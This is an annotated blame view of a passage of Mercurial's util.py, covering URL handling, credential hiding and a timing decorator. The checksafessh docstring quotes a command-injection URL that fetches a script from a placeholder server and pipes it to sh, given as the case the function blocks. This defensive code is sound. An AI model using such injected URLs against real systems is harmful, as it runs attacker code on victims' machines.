924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3260
        'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3261
        >>> bytes(url(b'http://localhost:80'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3262
        'http://localhost:80/'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3263
        >>> bytes(url(b'bundle:foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3264
        'bundle:foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3265
        >>> bytes(url(b'bundle://../foo'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3266
        'bundle:../foo'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3267
        >>> bytes(url(b'path'))
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3268
        'path'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3269
        >>> bytes(url(b'file:///tmp/foo/bar'))
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  3270
        'file:///tmp/foo/bar'
34134
d4d4d11bac77 doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents: 34131
diff changeset
  3271
        >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611
ec8a49c46d7e merge with stable
Matt Mackall <mpm@selenic.com>
parents: 15513 15609
diff changeset
  3272
        'file:///c:/tmp/foo/bar'
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
  3273
        >>> print(url(br'bundle:foo\bar'))
14147
617483af1cc0 test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents: 14146
diff changeset
  3274
        bundle:foo\bar
34137
a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents: 34134
diff changeset
  3275
        >>> print(url(br'file:///D:\data\hg'))
20106
c33d9217e99d util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents: 20000
diff changeset
  3276
        file:///D:\data\hg
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3277
        """
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3278
        if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3279
            s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3280
            if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3281
                s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3282
            if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3283
                s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3284
            return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3285
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3286
        s = self.scheme + ':'
14313
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  3287
        if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents: 14271
diff changeset
  3288
            s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  3289
        elif self.scheme and (not self.path or self.path.startswith('/')
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  3290
                              or hasdriveletter(self.path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3291
            s += '//'
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  3292
            if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  3293
                s += '/'
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3294
        if self.user:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3295
            s += urlreq.quote(self.user, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3296
        if self.passwd:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3297
            s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3298
        if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3299
            s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3300
        if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3301
            if not (self.host.startswith('[') and self.host.endswith(']')):
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3302
                s += urlreq.quote(self.host)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3303
            else:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3304
                s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3305
        if self.port:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3306
            s += ':' + urlreq.quote(self.port)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3307
        if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3308
            s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3309
        if self.path:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3310
            # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3311
            # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3312
            # which we should *not* escape.
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3313
            s += urlreq.quote(self.path, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3314
        if self.query:
14988
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3315
            # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 14915
diff changeset
  3316
            s += '?' + self.query
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3317
        if self.fragment is not None:
28883
032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents: 28882
diff changeset
  3318
            s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3319
        return s
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3320
33022
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
  3321
    __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents: 32886
diff changeset
  3322
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3323
    def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3324
        user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3325
        try:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3326
            self.user, self.passwd = None, None
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
  3327
            s = bytes(self)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3328
        finally:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3329
            self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3330
        if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3331
            return (s, None)
15028
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  3332
        # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  3333
        # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  3334
        # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents: 15027
diff changeset
  3335
        # a password.
15024
0f1311e829c9 http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents: 15018
diff changeset
  3336
        return (s, (None, (s, self.host),
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3337
                    self.user, self.passwd or ''))
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3338
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3339
    def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3340
        if self.scheme and self.scheme != 'file':
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3341
            return True # remote URL
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3342
        if hasdriveletter(self.path):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3343
            return True # absolute for our purposes - can't be joined()
33096
d9962854a4a2 py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 33094
diff changeset
  3344
        if self.path.startswith(br'\\'):
14766
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3345
            return True # Windows UNC path
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3346
        if self.path.startswith('/'):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3347
            return True # POSIX-style
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3348
        return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents: 14699
diff changeset
  3349
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3350
    def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3351
        if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3352
            path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3353
            # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3354
            # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3355
            if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3356
                path = self._hostport + '/' + self.path
15496
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
  3357
            elif (self.host is not None and self.path
396e83d635a6 url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents: 15488
diff changeset
  3358
                  and not hasdriveletter(path)):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3359
                path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3360
            return path
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3361
        return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3362
20353
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  3363
    def islocal(self):
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  3364
        '''whether localpath will return something that posixfile can open'''
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  3365
        return (not self.scheme or self.scheme == 'file'
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  3366
                or self.scheme == 'bundle')
0889585b44f1 util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents: 20244
diff changeset
  3367
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3368
def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3369
    return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3370
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3371
def hasdriveletter(path):
15609
8f4bad72d8b1 util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents: 15505
diff changeset
  3372
    return path and path[1:2] == ':' and path[0:1].isalpha()
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3373
14825
de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents: 14766
diff changeset
  3374
def urllocalpath(path):
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3375
    return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3376
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3377
def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3378
    """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3379
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3380
    This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3381
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3382
    Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3383
    user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3384
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3385
    Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3386
    """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3387
    path = urlreq.unquote(path)
33660
3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents: 33657
diff changeset
  3388
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
33650
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3389
        raise error.Abort(_('potentially unsafe url: %r') %
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3390
                          (path,))
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents: 33626
diff changeset
  3391
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3392
def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3393
    '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3394
    u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3395
    if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3396
        u.passwd = '***'
31841
9ff5a124d111 py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31811
diff changeset
  3397
    return bytes(u)
14076
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3398
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3399
def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3400
    '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3401
    u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3402
    u.user = u.passwd = None
924c82157d46 url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents: 14064
diff changeset
  3403
    return str(u)
14515
76f295eaed86 util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents: 14313
diff changeset
  3404
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3405
timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3406
    (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3407
    (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3408
    (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3409
    (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3410
    (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3411
    (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3412
    (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3413
    (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3414
    (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3415
    (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3416
    (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3417
    (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3418
    (1, 0.000000001, _('%.3f ns')),
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3419
    )
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3420
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3421
_timenesting = [0]
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3422
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3423
def timed(func):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3424
    '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3425
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3426
    During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3427
    the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3428
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3429
    @util.timed
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3430
    def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3431
        pass
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3432
    '''
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3433
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3434
    def wrapper(*args, **kwargs):
30975
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30974
diff changeset
  3435
        start = timer()
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3436
        indent = 2
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3437
        _timenesting[0] += indent
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3438
        try:
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3439
            return func(*args, **kwargs)
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3440
        finally:
30975
22fbca1d11ed mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents: 30974
diff changeset
  3441
            elapsed = timer() - start
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3442
            _timenesting[0] -= indent
30473
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30472
diff changeset
  3443
            stderr.write('%s%s: %s\n' %
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30472
diff changeset
  3444
                         (' ' * _timenesting[0], func.__name__,
39d13b8c101d py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents: 30472
diff changeset
  3445
                          timecount(elapsed)))
18736
af9ddea2cb99 util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents: 18735
diff changeset
  3446
    return wrapper
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3447
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3448
_sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3449
              ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
